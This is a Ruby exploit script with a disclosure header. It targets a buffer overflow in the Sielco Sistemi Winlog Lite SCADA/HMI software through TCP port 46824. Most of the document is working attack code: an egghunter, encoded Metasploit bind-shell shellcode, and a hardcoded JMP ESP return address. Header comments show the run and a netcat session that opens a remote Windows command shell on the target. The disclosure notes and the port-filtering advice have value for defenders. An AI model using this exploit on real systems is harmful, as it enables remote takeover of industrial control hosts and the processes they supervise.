Sielco Sistemi Winlog <= 2.07.16 Buffer Overflow

                                                #!/usr/bin/ruby

# Exploit Title: Sielco Sistemi Winlog Buffer Overflow <= v2.07.16
# Date: 05.06.2012
# Exploit Author: m1k3
# Vendor Homepage: http://www.sielcosistemi.com/en/download/public/winlog_lite.html
# Software Link: http://www.sielcosistemi.com/en/download/public/winlog_lite.html
# Version: 2.07.14
# Tested on: Windows XP SP2

#---------------------------------------------
#
# Sielco Sistemi Winlog Buffer Overflow <= v2.07.16
# - Buffer overflow vulnerability
# Date: 05.06.2012
#
# ---------------------------------------------
#
# - Description
# Winlog Lite is the entry level version of the SCADA/HMI software Winlog Pro offered by Sielco Sistemi to allow an evaluation of the potentiality and the simplicity of use of the package; Winlog Lite is also a powerful and low cost solution for creation of small supervisory applications.
# Winlog Lite makes available most of development tools and functions provided by the Winlog Pro software package, but limits the possibility to develop and to run applications up to a max of 24 tags. Winlog Lite does not include Symbol Factory library and web support.
# Source: http://www.sielcosistemi.com/en/download/public/winlog_lite.html
#
# - buffer overflow vulnerability
#
# The vulnerability can be triggered by sending a specially crafted request to port 46824. 
#
# - Solution
#
# No known solution available. Filter access to port 46824.
#
# - Credits
#
# The vulnerability was discovered by m1k3 (@s3cur1ty_de)
#  - devnull#at#s3cur1ty#dot#de
#  - http://www.s3cur1ty.de
#
# Thx to @corelanc0d3r and @offsectraining for their great work :)
#
# - Timeline
#
# 04.06.2012 - Vulnerability discovered
# 05.06.2012 - Public disclosure
#
# - Reference
#
# Download vulnerable software: http://www.sielcosistemi.com/en/download/public/winlog_lite.html
# Offensive Security Training: http://www.offensive-security.com/
# Corelan Training: https://www.corelan-training.com/

# - Exploit:

#root@bt:~/msf-scripts# ruby runtime-exploit-01.rb
#placing the shellcode
#sleeping ...
#kicking ...
#buffer length: 261
#root@bt:~/msf-scripts# netcat -v 10.8.28.37 4444
#10.8.28.37: inverse host lookup failed: Unknown server error : Connection timed out
#(UNKNOWN) [10.8.28.37] 4444 (?) open
#Microsoft Windows XP [Version 5.1.2600]
#(C) Copyright 1985-2001 Microsoft Corp.
#
#C:\Documents and Settings\All Users\Application Data\Winlog Lite\Projects\Ceramics Kiln\Template>
#
# Important:
# -> the reliability of your exploit depends on that path ...
# if you choose another default project or you start another project this path ist not reliable anymore 
# you can choose the default project on the installation. I have used Ceramics Kiln

require 'socket'

port = "46824"
host = "10.8.28.37"

s = TCPSocket.open(host,port)

sleep(0.5)

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter << "\xef\xb8\x77\x6f\x6f\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

# msfpayload windows/shell_bind_tcp R | msfencode -t ruby
#[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)
shellcode =
"\xdb\xc8\xd9\x74\x24\xf4\x5b\xba\x45\x76\x08\xf1\x33\xc9" +
"\xb1\x56\x31\x53\x18\x83\xeb\xfc\x03\x53\x51\x94\xfd\x0d" +
"\xb1\xd1\xfe\xed\x41\x82\x77\x08\x70\x90\xec\x58\x20\x24" +
"\x66\x0c\xc8\xcf\x2a\xa5\x5b\xbd\xe2\xca\xec\x08\xd5\xe5" +
"\xed\xbc\xd9\xaa\x2d\xde\xa5\xb0\x61\x00\x97\x7a\x74\x41" +
"\xd0\x67\x76\x13\x89\xec\x24\x84\xbe\xb1\xf4\xa5\x10\xbe" +
"\x44\xde\x15\x01\x30\x54\x17\x52\xe8\xe3\x5f\x4a\x83\xac" +
"\x7f\x6b\x40\xaf\xbc\x22\xed\x04\x36\xb5\x27\x55\xb7\x87" +
"\x07\x3a\x86\x27\x8a\x42\xce\x80\x74\x31\x24\xf3\x09\x42" +
"\xff\x89\xd5\xc7\xe2\x2a\x9e\x70\xc7\xcb\x73\xe6\x8c\xc0" +
"\x38\x6c\xca\xc4\xbf\xa1\x60\xf0\x34\x44\xa7\x70\x0e\x63" +
"\x63\xd8\xd5\x0a\x32\x84\xb8\x33\x24\x60\x65\x96\x2e\x83" +
"\x72\xa0\x6c\xcc\xb7\x9f\x8e\x0c\xdf\xa8\xfd\x3e\x40\x03" +
"\x6a\x73\x09\x8d\x6d\x74\x20\x69\xe1\x8b\xca\x8a\x2b\x48" +
"\x9e\xda\x43\x79\x9e\xb0\x93\x86\x4b\x16\xc4\x28\x23\xd7" +
"\xb4\x88\x93\xbf\xde\x06\xcc\xa0\xe0\xcc\x7b\xe7\x2e\x34" +
"\x28\x80\x52\xca\xdf\x0c\xda\x2c\xb5\xbc\x8a\xe7\x21\x7f" +
"\xe9\x3f\xd6\x80\xdb\x13\x4f\x17\x53\x7a\x57\x18\x64\xa8" +
"\xf4\xb5\xcc\x3b\x8e\xd5\xc8\x5a\x91\xf3\x78\x14\xaa\x94" +
"\xf3\x48\x79\x04\x03\x41\xe9\xa5\x96\x0e\xe9\xa0\x8a\x98" +
"\xbe\xe5\x7d\xd1\x2a\x18\x27\x4b\x48\xe1\xb1\xb4\xc8\x3e" +
"\x02\x3a\xd1\xb3\x3e\x18\xc1\x0d\xbe\x24\xb5\xc1\xe9\xf2" +
"\x63\xa4\x43\xb5\xdd\x7e\x3f\x1f\x89\x07\x73\xa0\xcf\x07" +
"\x5e\x56\x2f\xb9\x37\x2f\x50\x76\xd0\xa7\x29\x6a\x40\x47" +
"\xe0\x2e\x70\x02\xa8\x07\x19\xcb\x39\x1a\x44\xec\x94\x59" +
"\x71\x6f\x1c\x22\x86\x6f\x55\x27\xc2\x37\x86\x55\x5b\xd2" +
"\xa8\xca\x5c\xf7"

puts "placing the shellcode"
buffer = "\x41" * 2000
buffer << "wootwoot" #egg
buffer << "\x90"
buffer << shellcode
buffer << "\x90" * 2000
print "buffer length: #{buffer.length}\r\n"
s.puts(buffer)

puts "sleeping ..."
sleep(5)

puts "kicking ..."
buffer = "\x41" * 20 + "\x14" * 10 + "\x41" * 167
buffer << "\xdf\x53\x51\x40" #EIP -> Jmp ESP - Vclx40.bpl - 0x405153df
buffer << "\x90" 
buffer << egghunter
buffer << "\x90" * (59 - egghunter.length)
print "buffer length: #{buffer.length}\r\n"
s.puts(buffer)